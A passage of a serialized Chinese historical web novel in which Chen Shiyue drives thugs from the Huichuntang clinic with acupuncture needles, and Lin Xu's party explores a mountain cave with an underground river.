陈识月沉默了,但是对陆离倒是愈发好奇,很想知道在这姑娘的身上,到底发生过什么事情,以至于把人逼成了这样? 回春堂。 陈识月回来的时候,白清舟正在堂内转悠。 因为出了此前的事情,今日的回春堂只能关门歇业。 瞧着陈识月从小门进来,白清舟当即迎上去,“月姑娘,你没事?那就好,那就好。” “白老爷他们还没回来吗?”陈识月有点诧异。 按理说,方子没问题,医术没问题,苦主没有“死”的话,人也该回来了吧?还没回来,是仵作那边出了岔子吗? 说话间,霍青行从外面进来。 三人面面相觑。 霍青行:“??” 白清舟慌忙拱手揖礼,“少将军。” “怎么了?”见着陈识月发愣,霍青行三步并作两步上前,“伤着了?” 管家派人来报的时候,霍青行心里是担心的,虽然知道有迎春在,出不了大问题,但到底是不放心,没亲眼瞧着委实不踏实。 陈识月摇摇头,白清舟诧异,“出什么事了吗?” “没事。”陈识月看了一眼霍青行,将陆离的事情对白清舟隐去,“衙门那边……” 霍青行松了口气,“放心,我让人过去了,冤不了一点。” 纵然眼下真相不明,却也不至于冤假错案,或者是大刑加身,如此可以确保白老爷或者是掌柜他们的周全。 “我思来想去,没人会无端端的来讹我回春堂,只有一种可能。”白清舟本就是谨慎小心之人,父亲进了公堂应审,自己就得在外面想办法自救,“不久之前,许家的人来过了。” 许家? “哪个许家?”霍青行刚回来金都不久,很多人和事也不是太清楚。 白清舟压低了声音,“就是侯府夫人的母家,许家。” 侯府的外戚。 “许家的人看中了我回春堂的位置,前阵子说是要来这里开个酒楼,我爹没同意。”白清舟仔细解释来龙去脉,“这回春堂是我白家的产业,又是我爹的心血,在这里营生了十数年,怎么可能让出去?因为这个,许家的人隔三差五就来搅扰。” 闻言,霍青行和陈识月对视一眼。 还真有可能! “此前都是小打小闹的,咱压根没放在心上,身正不怕影子,只要咱手里干净,当然不怕他们的挑衅。”白清舟继续说,“我寻思着,会不会就是因为这个,所以他们要来这么一招……釜底抽薪?” 陈识月点点头。 霍青行表示赞同。 “侯府因着宫里那位的缘故,在金都府做了不少龌龊事,但没人敢闹到御前,毕竟是宠妃,到时候吹一吹枕边风……反受其害。”白清舟叹口气。 咱们这位皇帝,年轻的时候英明神武,杀伐果断,如今年岁上来了,已然有了昏聩趋势,不但求神问药,而且还耳根子软,容易被吹枕边风,甚至于有些……残暴嗜杀迹象。 英明的帝王,高位坐久了,便成了刚愎自用的暴君。 陈识月不懂朝堂,自然也就插不上话,但是霍青行明白,白清舟所言句句属实,没有任何的夸大其词,且帝王偏听偏信已经是人尽皆知的事情。 侯府孟氏的崛起,少不得是帝王权衡朝堂的一种手段。 比如,对付霍家。 一个家族的没落,得从另一个家族的兴起开始。 日升月落,不外如是。 “少将军?”白清舟有些犹豫,“若是此事让你为难的话,你就不必插手了。朝堂不能失去霍家,也不能因为这芝麻绿豆的小事,让霍家牵连其中,反倒趁了那些贼人的心。” 大事小事,孰轻孰重,白清舟分得清楚。 “天下无小事,水滴石穿。”霍青行看向他,“许家在金都府,借着侯府的势力耀武扬威,所残害的只是你回春堂一家吗?” 白清舟说不出话来。 “得找到这些人的出处。”霍青行一语中的,“看他们此前都跟什么人接触过,若是能找到证据,想来是最好不过。” 白清舟点点头,“我明白了。” “我会让人盯着点府衙,也会盯着这些人,你只管放心去做,毕竟你是回春堂的人,查这些事情也是情理之中。”霍青行的意思很明显,既然不想让霍家太早搅合进去,那就让白清舟去做。 名正言顺。 而自己呢? 藏在幕后,为他们兜底。 没出现在人前,就算侯府知道有将军府在插手,也不可能闹到跟前,皇帝那边还顾念着霍家,是不可能因为侯府这些外戚之事,对霍家怎样的,相反……闹得太难看,帝王会训斥侯府,这对侯府来说不是什么好事。 但凡有点脑子,都不敢闹到御前! “我懂了!”白清舟拱手揖礼,恭敬至极,“多谢少将军。” 霍青行叹口气,“自己小心。” “嗯!”白清舟转身离开,将空间留给陈识月与霍青行。 待人走后,霍青行当即上前,握住了陈识月的手,“陆离的事情我知道了,金伯安排了人,仔细看守她,放在庄子里先养养。她身上肯定有我们猜不到的秘密,能出现在销金窝,还能全身而退,若说她背后没人,那是不可能的事情。” “嗯!”陈识月也是这么想的。 霍青行看向她,“照顾好自己,莫要让自己身陷险境,任何的冒险都不能存心侥幸,毕竟在战场上,敌人从来不会对我们手软。” 下手,不是你死就是我亡。 没那么多运气。 “我知道,因为迎春在,我才敢拿下陆离。”陈识月解释,“不过,迎春说她的功夫是凑的,自学的,我寻思着是不是来寻仇的,要不然为何要闯入销金窝,把她自己弄得血淋淋的?她内伤外伤都很严重,应该也有人在追杀她,但是……她谁都不信。” 这丫头,好似凭着一根倔强骨头,凭着不要命,才能活到现在。 “她的防范心很重。”陈识月继续说,“不知道究竟是因为什么?” 霍青行深吸一口气,“交给我,我去查。” 人不可能无缘无故出现在销金窝,她带着伤被人追杀,肯定是知道点什么?若是问出个缘由,说不定能合作,帮他们一起找到长乐门的幕后之人。 还有,那所谓的……大人? 那是不是,上柳居士本尊? 蓦地,外头出现了异动。 陈识月推了霍青行一把,“你快去后院。” 霍青行旋即掀开了门帘进去,后院的伙计赶紧出来,紧张的站在了陈识月的身侧,瞧着大摇大摆从小门进来的一行人。 第三百一十五章 两针对付一个混子,够了! 瞧着进来的这些人,伙计忙凑到陈识月耳畔低语,“是街头的混子。” 陈识月了悟。 “诸位诸位!”伙计上前拱手,“掌柜的和东家都不在,回春堂今日不开门,若是有病就去别的医馆,抓药什么的就去别的药铺,我们……” 还不等伙计把话说完,这些人已经快速把伙计推开,若不是迎春上前搀了一把,只怕这会已经把伙计推倒在地。 “你们干什么?”陈识月站在那里,面色沉冷,“还有没有王法了?” “王法?” 好似听到了笑话,一行人忽然笑出声来。 陈识月的脸色更沉了几分,看出来了,这是故意来找茬的,应该就是白清舟口中,所谓的许家的人……隔三差五来搅扰的混子。 “你们回春堂开的药吃死了人,还跟我在这里讲王法?”为首的吊儿郎当,全然不把陈识月放在眼里,尤其是见她纤弱白净,瞧着就是个没用的书生郎。 手无缚鸡之力,有什么本事? “谁说回春堂的药吃死了人?”陈识月站在那里,分毫不惧,“知府大人都还没下结论,你们倒是咋咋呼呼开了,怎么着?这药是你们开的?死的是你们的人?” 陈识月一番话,说得对方忽然愣住。 一个两个的面面相觑,有种莫名被戳中心思的心虚。 “人都还在衙门里应堂,你们倒是在这里嚣张开了,若说不是同伙,怕是知府大人都不相信。听说咱们这位知府大人,公正廉明,不知道把你们几个送过去,是否有点用处?”陈识月冷眼扫过众人。 原本还在懵逼的众人,这会好像忽然复活了一般,顿时将陈识月围起来。 迎春险些动手,却被陈识月摁住。 “怎么着,要动手啊?”陈识月半点都不惧。 伙计在边上大气不敢出,生怕双方动手。 这要是打起来,那该如何是好? “你是什么人,瞧着面生,不是回春堂的人吧?”为首的混子冷着脸,“跟你无关之事,还是少掺合为好,免得惹火上身。有些时候不该行侠仗义,就夹着尾巴滚远点。” 陈识月勾唇,“你也说了,行侠仗义。既然如此,那就该好好收拾你们这些不义之徒。” 闻言,男人面色一凛。 一时间,所有人都缄默,大概是有些怀疑,不知道眼前这少年人,是不是真的有点本事? “你是什么人?”男人终于正视眼前的陈识月,“真的要管这档子闲事?” 陈识月不以为意,“路不平有人铲,这不是最简单的道理吗?坏事做多了,总会遇见收拾你们的人,做人有时候不要太丧良心。” “丧良心?”男人嗤笑两声,“丧良心又如何?只要能得偿所愿,便是丧良心也能快活一辈子。” 吃亏的,永远是老实人,不是吗? “呵!”陈识月也没跟他客气,“今日要么现在滚,要么去衙门,你们自己选。” 男人:“??” 这么嚣张? 迎春:“……” 姑娘还真是能唬人。 陈识月出手很快,几乎就是一针扎过去,没给人任何反抗的余地。 下一刻,男人好似没了骨头,一下子瘫软在地上,身子不断的抽搐,愣是爬不起来,像是上岸的鱼,不断的在地上“吧嗒”、“吧嗒”的蹦跶。 “老大?老大?” 那一刻,所有人都是慌乱的。 “老大?这是怎么了?” 谁也不知道,这是怎么了,甚至于有人不怕死的,赶紧把银针拔了,丢在了地上,却也没见着男人有所好转。 甚至于,男人抖着抖着,已经开始口吐白沫。 “你你你、你杀人?”众人惊慌失措。 伙计拿在手里的笤帚,一时间不知道该放下,还是该举起来? 这……这是怎么回事? 迎春有一瞬的懵逼,这是中毒了吗? 不对,不像是中毒。 “想他死,还是活?”陈识月一副事不关己的模样。 伙计赶紧捡起地上的银针,递给陈识月。 听得陈识月如此,还有什么不明白的? 到底是心慌,所有人看陈识月,就跟见了鬼一般的,下意识的连退几步,怕她一出手就要人命,任谁都不想成为这样的废物吧?! 众人你看看我,我看看你,一时间不敢擅自做决定。 然而…… 时不待人。 地上的人忽然狠狠抽了两下,登时没了动静。 这可把所有人都吓坏了,顷刻间作鸟兽散,几欲夺门而出,全都冲到了小门附近。 “你、你杀人!” 陈识月冷着脸,一根针下去,地上的人冷不丁又是一阵抽。 吓得这些混子更不敢轻举妄动,目光惊恐的盯着陈识月。 陈识月蹲在地上,伸手拍了拍男人的脸,“醒醒!” 男人就像是丢了魂一般,抖着身子睁开眼,一张嘴,唇角顿时流出涎水,然后便开始嘿嘿傻笑,就好似成了傻子一般。 众人:“??” “把他扶起来吧!”陈识月开口。 迎春伸手,一下就把人拎起来了。 “喂,带着他一起滚!”迎春顺手就把人丢了过去。 一下子,宛若保龄球一般,把众人撞得人仰马翻。 “老大?老大!” 一行人扶起傻乎乎的老大,慌忙就往外跑,不敢再逗留片刻,这个时候再不跑,万一都被陈识月变成傻子,那还得了? 没人想当傻子! 待人走后,伙计慌忙关上了小门,“公子?” “没关系,暂时不会来了。”陈识月道,“我也不怕他们去衙门告我,本来就是他们寻衅在先,何况我只是扎了两针,又不是真的伤人了。” 伙计嗫嚅,“可他傻了?!” “又不是一直傻,过两日就清醒了,只是心脉淤堵,所以一时间脑子不灵清了而已。”陈识月不以为意,“若他们有心,随便找个大夫疏通筋脉也就恢复了,两副药的事情,就是有点折磨人而已。” 霍青行从后面走出来,“我让人跟着,看他们去跟谁交代?” “嗯!”陈识月点头。 霍青行犹豫着看她一眼。 “你去忙吧,我这里没事,有迎春和大家在,伤不着我!”陈识月推搡了一把。 霍青行这才快速出去。 待人走后,迎春竖起大拇指,“姑娘好本事。” “学以致用。”陈识月笑了笑,“大夫治病,也救人。” 迎春点点头,“这办法好,兵不血刃。” 陈识月让伙计去看看,衙门那边的动静,兀自带着迎春去了后院,既然白老爷和白清舟都不在,那这个回春堂……她得替他们守着! 一直等到了快日落的时候,外头终于传来了动静…… 第三百一十六章 林序好像出事了? 脚步声由远及近,最后从小门进来。 是白重。 白重带着老大夫和掌柜他们回来了,一个两个的脸色不太好,但所幸都没什么大碍,至少能安然无恙的回来。 “白老爷?”迎春上前,瞧了一眼众人,“都没事吧?” 大夫点点头,“还好知府大人清正廉明,否则的话,咱怕是真的要一头栽进去了。” “后来如何?”迎春很想知道,那尸体到底是因为药物,还是因为龟息之术,所以才导致了那般局面,总归是好奇吧! 江湖人行走江湖,需要各种法子傍身,这装死也是一门技术活。 “是药。”白重开口,“倒是真的没料到,天底下还有这般神奇的东西,能让人无声无息,状若死人,呼吸脉搏心跳全无,只是到底逊了点火候。” 陈识月明白了,“可惜的是,活人就是活人,死人就是死人,只要还活着,身子就不可能完全冰冷,全体僵硬。” “是的。”白重点头,“正因为如此,谎言才能就此被戳穿。” 掌柜如释重负,“若非如此,怎能还你我清白,咱这回春堂,差点都成了黑心的医馆,这帮挨千刀的混账东西。可惜大人也没问出来,这些人到底是受谁人指使,行这般龌龊腌臜之事?” “早晚会查清楚的,是狐狸就一定会露出狐狸尾巴!”白重倒是没那么担心。 话音刚落,门口便响起了白清舟的声音,“我知道是谁。” 闻言,众人纷纷将目光落在他身上。 白清舟三步并作两步的上前,“我去问了周遭,打听了附近的人,有人瞧见,一男子给了他们银子,还给了一个瓷瓶,虽然听不清楚说什么,但绝对不是好事。” “谁给的银子?”白重忙问。 白清舟深吸一口气,“父亲还不明白吗?” 话说到这份上,似乎已经不需要挑明。 这段时间,回春堂遭受了什么,大家都心知肚明。 “侯府!” 白重说完这话,便沉默了下来。 众人闻言,纷纷面露难色。 民不与官斗,这是毋庸置疑的。 斗不过,根本就斗不了一点。 “是侯府的管家。”白清舟压低了声音。 白重一脸的了然之色,摆摆手,示意大家该干什么就干什么,不管外头如何,今日怎么折腾,明日不还得照样开门吗? 回春堂是济世活人的医馆,即便天塌了,也不能忘却救人的初心。 众人面面相觑,前后脚朝着后院而去。 晾晒的药草,该收起来了。 “孟家的人,没一个好东西。”白重低声啐了一口,“实在是欺人太甚。” 白清舟道,“我思虑再三,回来之前已经去过衙门了,若是知府大人追究起来,势必要上门去找侯爷,若是知府大人不敢出头,那这件事只能就此作罢,谁让咱无权无势呢?” 但也能因此测试过知府的态度,于来日行事有益。 若柳大人只是个面子光,那以后真的遇见事,断然不能找他。若柳大人是个办实事的,来日若有危险,必当第一时间去衙门报官。 信任与不信任,只在柳大人的一念之间。 “你做得很好。”白重点点头,大概是对这世道有些失望,叹口气站起身,轻轻拍了拍白清舟的肩膀,转身朝着后院走去。 堂内,再度安静下来。 白清舟看向陈识月,“你是不是也很失望?” “嗯?”陈识月一下子回过神来,“什么?” 察觉到她方才走神,白清舟略有些诧异,“发生何事?” “没什么,就是在想,他们横行无忌,欺男霸女,上面为什么一点动静都没有?真的成了聋子,瞎子了吗?就不怕哪天,真的在御前闹得很难看?”陈识月不解。 若是想抬举侯府对付霍家,那就该给他们大权,以权压人,不比这样龌龊、上不得台面的手段,要好得多吗? 所以,陈识月想不名阿比,这才走了神。 “欺上瞒下,又或者是帝王睁一只眼闭一只眼。”白清舟不敢说,皇帝可能是知道的,但就是色令智昏,脑子不清楚了。 妄议帝王,是死罪。 隔墙有耳,不敢说。 陈识月看向他,心里已经有了答案。 “今日你也累了,早些回去休息吧,这里有我和我爹在,应该不会再有问题。”白清舟毕恭毕敬的揖礼,“回来的时候就听伙计说,今日多亏有你。” 要不是陈识月守着回春堂,那帮人就会趁着回春堂无人的时候,进来大肆捣乱。 “举手之劳。”陈识月出了回春堂,便回了小院。 冬梅快速迎上来,“姑娘,没事吧?” 陈识月点点头,“告一段落了,说到底也就是一些跳梁小丑,真正的幕后黑手,是不会轻易出现在人前的。” “还好没事。”冬梅已经准备了晚饭,赶紧领着人去了饭厅,摆好了饭食才道,“哦,将军府那边来消息,说是林公子那边有点问题,断联了。” 陈识月拿着筷子的手,止不住一顿,“什么?” “昨儿还有消息,今日便一点消息都没有了。”冬梅如实回答,“管家那边说,怕就怕出问题了。” 山里多变,不管是天气还是地势,又或者是一些意想不到的猛兽,谁也无法保证,不会出什么乱子,失联可能是暂时的,但正因为原因不可估量,若是不去在意,时日长久便会耽误救人。 一分一秒,都是性命。 陈识月默默扒拉着饭,“先吃饭吧!” “是!” 冬梅端着饭碗,与迎春对视一眼。 这事,还真不好解决。 既不能打草惊蛇,又不能弃之不理。 及至吃过晚饭,冬梅和迎春收拾了饭桌,陈识月才幽幽开口,“别是中了瘴气才好。” “我倒是觉得,可能是中了陷阱。”迎春不以为然,“这深山老林里的,若是真的藏起什么,是很容易设陷阱的,一旦误入,怕是会一个牵连两个,比如说瘴气,沼泽,洞窟,深潭……但凡落下,怕是都得脱一层皮。” 陈识月点头,有道理。 山中多变,地势复杂,委实不容小觑。 “这可如何是好?”冬梅免不得担忧。 迎春也不知道该说什么,只将目光落在陈识月的身上。 “先等等看吧!”陈识月低语,“少将军不会坐视不理的。” 林序是霍青行的左膀右臂,是他过命的兄弟,不可能放任不管,如今这般应是不确定山中状况,只能静观其变。 这山里到底有什么? 这个问题,林序也想知道。 放眼望去,林木参天。 尤其是到了夜里,更是半点月光都落不下来…… 第三百一十七章 有一双眼睛盯着他们 林序站在树下,借着火堆里的光亮,瞧着手中的图纸,“好像是这里吧?可瞧着怎么又不太像呢?这到底哪儿跟哪儿啊?” 在这密林之中,连指南针都失去了用处,浑然不起作用,只能靠着直觉和肉眼去辨别东南西北,白日里倒是能见着太阳的散光,入夜便是漆黑一片。 即便爬上树梢,也只能瞧见黑压压的一片。 群山连绵,林木参天。 “这些原本都属于皇家,后来卖出去了,是以樵夫不敢砍,猎户不敢上山,时日久了便越长越茂盛,不只是林木茂盛,连带着灌木啊、荒草,都跟着蓬勃生长。”欧阳恭开口,扫一眼周围,随手将枯枝丢进了火堆里,“金都城内外的百姓,都不敢贸然踏入,尤其是出了熊伤人之事,一个个谈之色变。” 林序将手中的图纸送过去,“你在金都府生活那么久,对这山头可有什么见解?哪怕是辨一辨也好,能看明白吗?” “不用看了,我瞧不明白。”欧阳恭瞥一眼,如实回答。 林序:“……” 那你跟着作甚? 前面已有白雾起,跟昨夜一样,应该是山林瘴气,到了天亮就会自动散开,只不过瞧着有些远,但又被风吹着动,具体落地有些不确定性。 “哎哎哎,不要去那边!” 欧阳恭忽然开口,喊住了朝着黑暗中走去,约莫是想解手的护卫。 护卫一怔。 林序招招手,示意他换个地。 “你为什么……”林序不解的看着他。 欧阳恭深吸一口气,“直觉吧,那边太黑了,黑得有点不太正常,我们从这边过来,不熟悉前方境况,凡事安全第一。咱一帮人汇聚在一起,尚且还算安全,若是分散开来,便容易被逐个击破。在这偌大的山林中迷失方向,怕是到死都未必能走出去。” 安全第一! 林序又看了一眼掌心里的指南针,指针不断的抖动,完全没用。 一点都没用! “别看了,没用。”欧阳恭打趣,“回头遇见了熊瞎子,能砸它一趔趄。” 林序白了他一眼,“尽说风凉话,真的遇见了,就拿你喂熊。” 语罢,林序将枯枝丢进了火堆里,坐在一旁啃干粮。 四下黑漆漆的,寻常山林都有鸟语虫鸣,但这次有点诡异。 林中无鸟叫,山中无虫鸣。 死寂。 死一般的寂静。 怎么形容呢? 好像除了这些蓬勃生长的古木和肆意缠绕的藤蔓,这山林之中没有一点活物。 可是…… 此前不是说,这山中有熊吗? 总不可能连鸟,都被熊吃绝了吧? 心里这么想,脊背也开始发凉,纵然是习武之人,也免不得有些胡思乱想的时候,环顾四周,空无一人,除了他们这些人,真当没有任何活物。 林序揉着眉心,“行军打仗都没这么烦人,如今倒是真的讨厌。最厌烦这样的地方,好似一拳打在了棉花上。” “行军打仗?”欧阳恭凑过来,“林公子是边关回来的?也对,你是少将军的副将。” 林序偏头看他,没有再多说什么。 “边关是不是很艰苦?”欧阳恭问。 林序还是不说话。 “如果不是你们镇守边关,哪儿有我们现在的安稳好日子?”欧阳恭略有些感慨,“不是所有人,都是白眼狼,都想要霍家出事的。” 闻言林序皱了皱眉,“你倒是有几分正直,不像是那些人,一个个趋炎附势,一个个只贪图荣华富贵,不择手段。” “人吃五谷杂粮,自然生各种心肠,每个人都不一样。”欧阳恭深吸一口气,“我敬佩霍老将军,敬佩霍家的所有人,还有镇守边关的诸位将士。” 林序点点头,“先解决眼前困境吧!” “来的路上,我都做了记号。”欧阳恭开口,“当然,我也知道你们做了记号,但我觉得多做一重记号,能更安心一些。关于这些山里的状况,此前也有猎户提过一嘴,说是一直往西面走,会看到洞窟,那洞窟里时不时会发出奇怪的声音。” 洞窟? 西面? “我们现在正在往西面走吧?”林序方才看图纸,瞧着好像是朝西走的。 欧阳恭环顾四周,“我觉得也是,所以就没说,以免干扰你们的判断。这都走了两日了,推算行程也该差不多了吧?” “信鸽飞出去,没回来。”林序看向他,“你知道是什么意思吗?” 欧阳恭一怔,“什么意思?” “我们可能要困在这里了。”林序回答。 欧阳恭:“……” 那就是说,他们只剩下了孤注一掷,这一种选择。 “先休息吧!” 山林的夜分外危险,不宜赶路,自然只能休息。 护卫轮值看守,以防万一。 蓦地,林序直起身,恍惚间好似有一双眼睛正在暗处盯着自己,只不过……四周太过昏暗,什么都看不见,要是这双眼睛夜能视物就好了! 他们和外界,已经断联了。 接下来,看运气。 低头一早,林序昏昏沉沉的醒来,护卫还在轮值,一切安然无恙。 “我瞧着好似要下雨。”欧阳恭开口,“情况有点不太对。” 马匹全部都栓在了山下,好在他们都带着蓑衣斗篷,即便下雨也无所谓,不影响行进。 吃了点干粮,喝了水。 一行人收拾了一番,便开始赶路。 “你对那个洞窟之事,了解多少?”林序追问。 欧阳恭仔细的想了想,“知道的其实不多,毕竟这些山头有主,猎户也都是偷偷来的,若是让衙门知晓,必定是要下大牢的。他只提及了洞窟之事,别的委实没说太多,不过他当时也说过,山里没遇见过熊瞎子。” 如他们现在这般,的确没发现熊的痕迹。 没有抓痕,没有粪便,甚至于…… 没有活物! “当年遇见熊伤人,可能就是一场骗局。”林序不急不缓的开口,“只是害怕占了上风,没人细究罢了。” 欧阳恭点头,“也没法细究,难不成进山与熊打一架?这不是自己找死吗?” 还没走多远,天空一记炸雷。 雨声哗然。 好大的一场雨! 一行人换上了简易的蓑衣斗笠,缓步走在了山林中。 一直往西走,道路略有些泥泞。 “雨太大了,我们找个地方避避雨!” 林序环顾四周,前方似乎有洞,不知道能不能避雨? 欧阳恭也觉得,冒雨赶路似乎不安全,还是先避雨吧! 走近了,才发现这还真是个洞口,只是里面黑黝黝的,让人瞧着有些心里发慌,总觉得里面会忽然窜出个什么东西来…… 燃起火把,洞内竟然有风呼呼往外吹。 第三百一十八章 这难道不是金都府失职? 这山洞有风,且风不小,若是仔细听着,似乎是有水声? “有水声?”林序竖起耳朵。 欧阳恭有些怀疑,“会不会是外面的雨声?” “不像!”林序摘下斗笠,将蓑衣解下递给身边人,缓步朝着里面走了几步。 山洞内,湿哒哒的。 到处都是蔓生的青苔,再往里面走,倒是隔绝了外面的雨声,倒是显出了里面的声响,是水声,潺潺水声,应该是暗河或者是内河之类的。 众人面面相觑,做了一个临时火把,就缓步朝着里面走去。 昏暗之中,有水光潋滟。 呼吸声,在狭仄的岩道内,显得分外清晰,每个人的心都提到了嗓子眼,一时间也不知道前面还有什么东西在等着他们? 对未知的恐惧和好奇,不断撕扯着人的理智。 林序缓步走着,伸手摸到的,都是岩壁上厚厚的青苔,湿漉漉的,带着令人厌恶的粘稠,偶尔还会有什么东西,快速在青苔里蹿过,因着速度太快,自然来不及观察,到底是什么东西? 可能是小虫子,也可能是一些小蛇之类。 阴暗潮湿,最容易滋长的,便是这些东西…… 忽然间,不知道是谁脚下一滑,岩石当即被踹了出去,咕噜噜的滚向前方,紧接着便是巨大的岩石滚落声音响起,好似前面有个空旷无比的空间。 回音之响亮,惊颤了所有人。 这回声…… “都别动!”林序低喝。 欧阳恭快速上前,率先走到了前面。 终于,他看清楚了,这几乎是断崖式的崖壁,因着黑漆漆的,所以方才看不清楚,但站在这里,便能看得一清二白。 见着欧阳恭不说话,林序带着众人缓步上前,走得分外小心翼翼。 毕竟,到处都是湿滑的乱石和泥泞,每走一步都要仔细,免得再生意外。 及至站在欧阳恭身侧,林序也跟着傻了眼,外头瞧着那么狭仄的洞口,进来之后竟是偌大的空间,冷风嗖嗖的往脸上扑,底下是奔腾的地下长河,水花哗啦啦的掀起,合着那些风一起翻滚。 偌大的洞窟,湿冷的风,头顶的岩柱还不断的滴水,时不时落在头顶,落在脸上,落进衣领,冻得人时不时一哆嗦,竟起一身的鸡皮疙瘩。 “这地方,居然这么大?也就是说,山都空了吧?”好半晌,欧阳恭才开口。 林序回过神来,“这要是藏在这里,估摸着真不好找。可那人骑着马,怎么可能进来?这山洞只够人徒步前行,根本不可能策马或者是牵着马进来。” “狡兔三窟,你怎么肯定,这只有一条路呢?”欧阳恭问。 林序答不上来。 这地方太大了,很难保证只有一条路,说不定在他们看不见的地方,还有其他更宽敞的路,他们能进来这里,应该只是凑巧而已。 底下,大河奔腾。 上面,断崖林立。 “对面好像还有路。”林序举着火把,“但是这么宽的河,想要趟水过河是不可能的,这河水太冷了,谁都扛不住。” 不见天日的地下暗河,冰冷彻骨,纵然他们各个都是习武之人,也受不住这样的浸泡。 若是在这里出什么事,就更不值当了! 欧阳恭环顾四周,瞧着边上似乎还有一条小道,只不过贴着崖壁而成,走过去的时候应得特别小心,要不然容易摔下去。 波涛汹涌,暗流涌动。 落水,恐有危险。 “我去那边看看,你们都别动,等我的消息。”欧阳恭拍了拍林序的臂膀,缓步朝着边上而去。 火光很暗,到了后面,几乎只能靠着肉眼在黑暗中的适应程度,以及河水泛起的波光来视物,所以欧阳恭走的每一步都很小心。 偶有小碎石滑落,发出噼里啪啦的声响,都足以激荡人心。小碎石落进水中,发出叮咚叮咚的声响,很快会被浪卷浪的声音遮盖。 欧阳恭终于走到了河岸边,一口浊气长长吐出,取出怀中的火折子,冲着顶上的众人挥挥手,示意他们可以过来。 如此,林序松了口气。 暗河边上,有路。 众人费力从上面爬下来,再度朝着边上的小路而去。 暗河从岩下而过,不断的冲刷,长年累月的,终是将岩壁冲破,与最后留下了一道类似拱桥的石柱,瞧着像是路,但谁也不知道这石柱能否支撑得住,允准人从上面走过去? “把绳索给我,我先过去。”林序开口,“你们一个个来,我瞧着这石柱单薄,不知道是否能承受得住,人在上面行走?” 欧阳恭犹豫,“要不然,让我先过去吧!” “不用!”林序接过底下人递来的绳索,快速拴在腰间,小心翼翼的攀上了石柱,缓步朝着前面挪去。 一步一小心,所有人都目不转睛盯着他。 终于,他安然无恙的走到了对岸。 水汽湿了一身! 快速将绳索缠绕在边上立地的巨石上,及至绳索绷紧,他取出了火折子,冲着对岸挥手。 “你们一个个来!”欧阳恭拽住了绳索。 一个接一个,拽着绷直的绳索,缓步走过了这条石柱,好在都是有惊无险。 及至最后,只剩下了欧阳恭在对岸。 他没有任何的犹豫,将绳索绑在了腰间,快速穿过了石柱。 事实上,到了最后,这根石柱已经摇摇欲坠。 好在,没塌。 所有人都松了口气,快速整理好绳索,继续朝着前面走去,莫名有些激动难耐,总觉得似乎离真相越来越近了。 “这倒是让我想起了销金窝,也在这样的洞窟之中,若不熟悉路径,只怕会迷失其中,还是要小心为上。”林序瞧着周遭。 乱石嶙峋,怪石林立。 一眼望去,黑咕隆咚。 “林公子去过销金窝?”欧阳恭似乎有些诧异。 林序反唇相讥,“怎么,衙门的捕快不知道销金窝?” 欧阳恭:“……” “不会吧不会吧,这么大的名声,你居然不知道?”林序阴阳怪气,“我还以为在衙门里当差,什么都知道呢!” 欧阳恭皱起眉头,“我怎么听你这话,有点怪怪的。” “怪怪的就对了,要是正儿八经的,你估计又不乐意了!”林序轻嗤。 衙门都不管,说明什么? 一层护着一层,苦的是底层百姓。 “正儿八经?”欧阳恭深吸一口气,“当如何?” 林序止步,“当如何?当然是骂你咯!” 欧阳恭:“??” “身为公门中人,不予管束,任由其装神弄鬼,愚弄天下人,甚至于有不少官吏掺合其中,谋求暴利,这难道不是金都府衙门的失职?”林序理直气壮。 第三百一十九章 糟了,有熊! 欧阳恭答不上来,听着林序一番话,有种被人劈头盖脸打一顿的错觉,毕竟他说的一点都没错,金都府的府衙内外,都知道销金窝的事情。 可是,他们有什么办法呢? 撼动不了的存在,上面还有人压着,谁敢插手? 即便知道里面出过事情,也只能不了了之。 “抱歉,不是冲你喊。”林序叹口气,“你也只是个捕头而已。” 真正做决策的,不是欧阳恭。 一个捕头,能做的事情少之又少,充其量也只是一把刀,不过是个奴才罢了,能干什么呢?上面一声令下,还不知要压死多少底下的人。 “你说的一点都没错。”欧阳恭苦笑两声,嗓音里带着清晰的酸涩,“衙门其实知道销金窝,也明白这里面藏着腌臜,可上面压下来,咱即便身在公门也只能睁一只眼闭一只眼,什么都做不了。” 林序拍了拍他的肩膀,“看得出来,你还是有良心的,咱不说伸张正义,至少不要同流合污,这应该不难吧?” “你倒是会宽慰人。”欧阳恭被他逗笑了。 林序深吸一口气,“为人底线罢了!” 不说做个好人,至少不要助纣为虐,这应该不是太难。 凡是有良知的,都会这么做的。 “其实知府大人也是迫于无奈,当地方官的时候还能自己做主,入了这金都府,处处受制,有些事情已经不是他能控制的。”欧阳恭跟在林序身侧,缓步朝前走去。 林序不说话。 欧阳恭继续道,“就像上一次,林公子在舞姬坊险些被人揍了。” 林序止步,“查出来了?” “丞相府。”欧阳恭开口。 林序一顿,“杨家的人?打我作甚?” 这下,轮到林序不明白了,好端端的,他也没招惹丞相府,没招惹杨家的人,怎么还要挨揍呢? 这一顿打,可真是莫名其妙! “你仔细想想,真的没有招惹过杨家的人?”欧阳恭有些奇怪。 没招惹,那为何挨揍? 林序摇摇头,心里却在寻思着,总不可能因为怼了杨明慧几句,所以这死丫头就怀恨在心,在背后下黑手吧? 不会吧,不会吧? 心眼这么小? 说两句,就要找人揍他? 泼妇! 蓦地,众人止步。 林序呼吸一直,欧阳恭也察觉到了异常。 什么动静? 好像是异样的声响,窸窸窣窣,吱吱呀呀,听着就让人毛骨悚然,似乎是一墙之隔。 林序伏耳贴在岩壁上。 见状,欧阳恭也旋即伏耳贴上,仔细听着一墙之隔的动静。 错不了。 是在岩壁的那边。 一行人全部贴在岩壁上,就像是一群壁虎,一动不动,侧耳倾听。 这什么声音? 更关键的是,怎么过去? 众人都有些犹豫,然后面面相觑。 方才他们一路过来,没发现什么入口、分叉口之类,那应该是往前面走吧?如果实在没有入口,那也没办法,毕竟这地方谁也不熟。 进来,全凭运气。 里面,全靠摸鱼。 “小心点!”林序深吸一口气,率先走在前面。 火光摇曳,每一步都很小心。 洞内很是阴森,冷飕飕的感觉直扑面门儿来,时间久了,大家的手脚都是冰冷而麻木的,走起路来也是四肢僵硬。 前面,是个分叉路口。 到了这一步,众人都有种大石头落地的感觉。 “要分开走吗?”欧阳恭问。 林序在犹豫。 分开也不是不可以,但是他们人数有限,这就意味着分开便是削弱自己的力量,若是这洞窟没什么异常也就罢了,但若是真的生出什么事来,他们将会被逐个击破。 自我削弱力量,在陌生的环境里,等与自寻死路! 林序又不是三岁的孩子,行军打仗的时候,最忌讳的就是分散力量,尤其是敌在暗我在明,一不留神就会中了他人的圈套。 功夫再好,也怕兵不厌诈! 